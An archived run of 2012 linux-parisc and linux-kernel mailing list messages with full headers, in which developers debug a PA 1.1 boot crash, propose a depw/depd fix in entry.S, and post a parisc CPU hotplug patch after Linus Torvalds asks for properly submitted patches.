X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4381>

On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
> On 14-May-12, at 6:11 PM, Helge Deller wrote:
> 
> > The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed  
> > with the following trace.
> > All logs attached.
> >
> > Any ideas?
> 
> This is exactly the same failure as reported by Vincent.
> 
> The most likely problem is the PA 1.1 tmpalias support in entry.S is  
> broken.  For example,
> the cache stride that is loaded in flush_dcache_page_asm to register  
> r1 is wrong.  Probably,
> the do_alias macro is wrong for PA 1.1.  This is hunk of code that  
> should be executed
> when a fdc non access fault occurs.
> 
> nadtlb_check_alias_11:
>          do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
> 
>          idtlba          pte,(va)
>          idtlbp          prot,(va)
> 
>          rfir
>          nop
> 
> The TLB insert instructions on PA 1.1 have a different format than on  
> PA 2.0.  I'm not sure
> how this would corrupt r1.
> 
> On the other hand, I had asked Vincent to put a "b,n ." instruction  
> just before the fdc loop,
> boot, hit the TOC button, and capture the setup registers for the  
> flush operation.  It's possible
> the stride variable has been clobbered.

Actually, I don't think it's that.  I built a PA 1.1 only kernel and
booted it successfully on the C360.  That exercises all the _11 paths,
so I don't think there's a code fault.  I do think there's a non PA1.1
instruction in there somewhere that the C360 wouldn't notice.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 10:13:32 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <1337073212.3005.12.camel@dabdike.lan>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	 <1337069366.3005.10.camel@dabdike.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337073222 7184 80.91.229.3 (15 May 2012 09:13:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 09:13:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 11:13:40 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUDp4-0001qw-Hr
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 11:13:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932162Ab2EOJNh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 05:13:37 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53778 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932120Ab2EOJNg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 05:13:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B31FD8EE0E0;
	Tue, 15 May 2012 02:13:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HarGDJol75n5; Tue, 15 May 2012 02:13:35 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 55DBA8EE081;
	Tue, 15 May 2012 02:13:34 -0700 (PDT)
In-Reply-To: <1337069366.3005.10.camel@dabdike.lan>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4382>

On Tue, 2012-05-15 at 09:09 +0100, James Bottomley wrote:
> On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
> > On 14-May-12, at 6:11 PM, Helge Deller wrote:
> > 
> > > The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed  
> > > with the following trace.
> > > All logs attached.
> > >
> > > Any ideas?
> > 
> > This is exactly the same failure as reported by Vincent.
> > 
> > The most likely problem is the PA 1.1 tmpalias support in entry.S is  
> > broken.  For example,
> > the cache stride that is loaded in flush_dcache_page_asm to register  
> > r1 is wrong.  Probably,
> > the do_alias macro is wrong for PA 1.1.  This is hunk of code that  
> > should be executed
> > when a fdc non access fault occurs.
> > 
> > nadtlb_check_alias_11:
> >          do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
> > 
> >          idtlba          pte,(va)
> >          idtlbp          prot,(va)
> > 
> >          rfir
> >          nop
> > 
> > The TLB insert instructions on PA 1.1 have a different format than on  
> > PA 2.0.  I'm not sure
> > how this would corrupt r1.
> > 
> > On the other hand, I had asked Vincent to put a "b,n ." instruction  
> > just before the fdc loop,
> > boot, hit the TOC button, and capture the setup registers for the  
> > flush operation.  It's possible
> > the stride variable has been clobbered.
> 
> Actually, I don't think it's that.  I built a PA 1.1 only kernel and
> booted it successfully on the C360.  That exercises all the _11 paths,
> so I don't think there's a code fault.  I do think there's a non PA1.1
> instruction in there somewhere that the C360 wouldn't notice.

OK, I think this is the problem.  We have a depd instruction in do_alias
which is now in the _11 fault paths.

This should be the fix, if someone wants to test it before I can get
around to building it.

James

---

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..5350342 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -581,7 +581,11 @@
 	 */
 	cmpiclr,=	0x01,\tmp,%r0
 	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
+#ifdef CONFIG_64BIT
 	depd,z		\prot,8,7,\prot
+#else
+	depw,z		\prot,8,7,\prot
+#endif
 	/*
 	 * OK, it is in the temp alias region, check whether "from" or "to".
 	 * Check "subtle" note in pacache.S re: r23/r26.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Tue, 15 May 2012 10:24:16 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
 <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
 <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
 <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337102683 32740 80.91.229.3 (15 May 2012 17:24:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 17:24:43 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 19:24:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SULUE-0000vZ-Nf
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 19:24:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966026Ab2EORYi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 13:24:38 -0400
Original-Received: from mail-wi0-f172.google.com ([209.85.212.172]:42401 "EHLO
	mail-wi0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966024Ab2EORYh convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 13:24:37 -0400
Original-Received: by wibhj8 with SMTP id hj8so3104462wib.1
        for <multiple recipients>; Tue, 15 May 2012 10:24:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=sxv9/BQjwS9gJkeU5bHEmQu4m4BZYEpKYAKkeAOrPqk=;
        b=rBKGhM+SYpdnE153PiqsZwY+gMOz0byMRP5ehCdH/6h9rRb8OYqP3/AH22Tb4pFScW
         b1L2JMfuF7JR9bvKc7rkTFMfASFiV8TMKYKpW+WgQ1mrmiZwJmuuiELpgGjc4kF7NfaY
         E/gOnheb6dlsguEMiXgtZ01ubKqWqIabAQwBs4R8Mp2yd9h6A7NAgAEuTfGZ604Crtrb
         c+x3C58S6z/CGhcMZULM9RUK5LUCi1eHzWO9WuK1qqe5e1ZTBZdDN6eG550cyMdA2J7u
         xhsrEHPd7EUxLU6k+XlYNQjfFnZsaVzlroqHDA0FV3dGm0eHIZoG/fElAWQ36qPRu3qm
         eWDA==
Original-Received: by 10.180.24.193 with SMTP id w1mr32430408wif.5.1337102676279; Tue,
 15 May 2012 10:24:36 -0700 (PDT)
Original-Received: by 10.216.225.99 with HTTP; Tue, 15 May 2012 10:24:16 -0700 (PDT)
In-Reply-To: <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
X-Google-Sender-Auth: PfUVvNrjMIEzqLOeWoR1uGRxdCE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4383 gmane.linux.kernel:1297638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4383>

On Sun, May 13, 2012 at 5:42 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
>
> I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).=
 =A0My
> build also
> included cache and other fixes that are being discussed on the parisc=
 list.

Can somebody send the final patches with proper subject lines etc,
instead of hiding them in unrelated threads? I hate picking up patches
that I don't personally know from the middle of some random thread.

                      Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 14:23:15 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <4FB29F13.5070801@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337106179 29577 80.91.229.3 (15 May 2012 18:22:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:22:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 20:22:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUMOd-0001O0-DB
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 20:22:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932936Ab2EOSWy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 14:22:54 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:37158 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932854Ab2EOSWy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 14:22:54 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUMOZ-0004dC-0C; Tue, 15 May 2012 14:22:51 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <1337073212.3005.12.camel@dabdike.lan>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4384>

On 5/15/2012 5:13 AM, James Bottomley wrote:
> On Tue, 2012-05-15 at 09:09 +0100, James Bottomley wrote:
>> On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
>>> On 14-May-12, at 6:11 PM, Helge Deller wrote:
>>>
>>>> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed
>>>> with the following trace.
>>>> All logs attached.
>>>>
>>>> Any ideas?
>>> This is exactly the same failure as reported by Vincent.
>>>
>>> The most likely problem is the PA 1.1 tmpalias support in entry.S is
>>> broken.  For example,
>>> the cache stride that is loaded in flush_dcache_page_asm to register
>>> r1 is wrong.  Probably,
>>> the do_alias macro is wrong for PA 1.1.  This is hunk of code that
>>> should be executed
>>> when a fdc non access fault occurs.
>>>
>>> nadtlb_check_alias_11:
>>>           do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
>>>
>>>           idtlba          pte,(va)
>>>           idtlbp          prot,(va)
>>>
>>>           rfir
>>>           nop
>>>
>>> The TLB insert instructions on PA 1.1 have a different format than on
>>> PA 2.0.  I'm not sure
>>> how this would corrupt r1.
>>>
>>> On the other hand, I had asked Vincent to put a "b,n ." instruction
>>> just before the fdc loop,
>>> boot, hit the TOC button, and capture the setup registers for the
>>> flush operation.  It's possible
>>> the stride variable has been clobbered.
>> Actually, I don't think it's that.  I built a PA 1.1 only kernel and
>> booted it successfully on the C360.  That exercises all the _11 paths,
>> so I don't think there's a code fault.  I do think there's a non PA1.1
>> instruction in there somewhere that the C360 wouldn't notice.
> OK, I think this is the problem.  We have a depd instruction in do_alias
> which is now in the _11 fault paths.
>
> This should be the fix, if someone wants to test it before I can get
> around to building it.
>
> James
>
> ---
>
> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> index 6f05944..5350342 100644
> --- a/arch/parisc/kernel/entry.S
> +++ b/arch/parisc/kernel/entry.S
> @@ -581,7 +581,11 @@
>   	 */
>   	cmpiclr,=	0x01,\tmp,%r0
>   	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
> +#ifdef CONFIG_64BIT
>   	depd,z		\prot,8,7,\prot
> +#else
> +	depw,z		\prot,8,7,\prot
> +#endif
>   	/*
>   	 * OK, it is in the temp alias region, check whether "from" or "to".
>   	 * Check "subtle" note in pacache.S re: r23/r26.
Better check that this fix doesn't break 32-bit PA 2.0 as the seven bit 
are now being deposited
in a different place.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Tue, 15 May 2012 23:59:36 +0530
Lines: 69
Approved: news@gmane.org
Message-ID: <4FB2A090.6060404@linux.vnet.ibm.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl> <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337106655 1248 80.91.229.3 (15 May 2012 18:30:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:30:55 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 20:30:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUMWG-0000JA-Km
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 20:30:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933335Ab2EOSa0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 14:30:26 -0400
Original-Received: from e28smtp03.in.ibm.com ([122.248.162.3]:49359 "EHLO
	e28smtp03.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933332Ab2EOSaX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 14:30:23 -0400
Original-Received: from /spool/local
	by e28smtp03.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Wed, 16 May 2012 00:00:20 +0530
Original-Received: from d28relay02.in.ibm.com (9.184.220.59)
	by e28smtp03.in.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 16 May 2012 00:00:18 +0530
Original-Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FIUF1W40173574;
	Wed, 16 May 2012 00:00:15 +0530
Original-Received: from d28av02.in.ibm.com (loopback [127.0.0.1])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4G00pap015751;
	Wed, 16 May 2012 10:00:53 +1000
Original-Received: from [9.79.252.250] ([9.79.252.250])
	by d28av02.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4G00lhP015465;
	Wed, 16 May 2012 10:00:47 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120424 Thunderbird/12.0
In-Reply-To: <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com>
x-cbid: 12051518-3864-0000-0000-000002CD693B
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4385 gmane.linux.kernel:1297686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4385>

On 05/15/2012 10:54 PM, Linus Torvalds wrote:

> On Sun, May 13, 2012 at 5:42 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>
>> I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).  My
>> build also
>> included cache and other fixes that are being discussed on the parisc list.
> 
> Can somebody send the final patches with proper subject lines etc,
> instead of hiding them in unrelated threads? I hate picking up patches
> that I don't personally know from the middle of some random thread.
> 


Okay, here they are:

This is for PA-RISC:

---
From: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Subject: [PATCH] parisc/CPU hotplug: Add missing call to notify_cpu_starting()

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Acked-and-Tested-by: Mikulas Patocka <mpatocka@redhat.com>
Acked-and-Tested-by: Tobias Ulmer <tobiasu@tmux.org>
Tested-by: John David Anglin <dave.anglin@bell.net>
---

 arch/parisc/kernel/smp.c |    8 +++++++-
 1 files changed, 7 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 0bb1d63..4dc7b79 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/delay.h>
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
+#include <linux/cpu.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Linux 3.4-rc7
Date: Wed, 16 May 2012 00:09:47 +0530
Lines: 74
Approved: news@gmane.org
Message-ID: <4FB2A2F3.40101@linux.vnet.ibm.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl> <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com> <4FB2A090.6060404@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337107306 6420 80.91.229.3 (15 May 2012 18:41:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 18:41:46 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	tobiasu@tmux.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 15 20:41:41 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SUMgj-0001gv-3D
	for glk-linux-kernel-3@plane.gmane.org; Tue, 15 May 2012 20:41:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966372Ab2EOSlS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 15 May 2012 14:41:18 -0400
Original-Received: from e28smtp02.in.ibm.com ([122.248.162.2]:58960 "EHLO
	e28smtp02.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933288Ab2EOSkx (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 15 May 2012 14:40:53 -0400
Original-Received: from /spool/local
	by e28smtp02.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Wed, 16 May 2012 00:10:50 +0530
Original-Received: from d28relay02.in.ibm.com (9.184.220.59)
	by e28smtp02.in.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
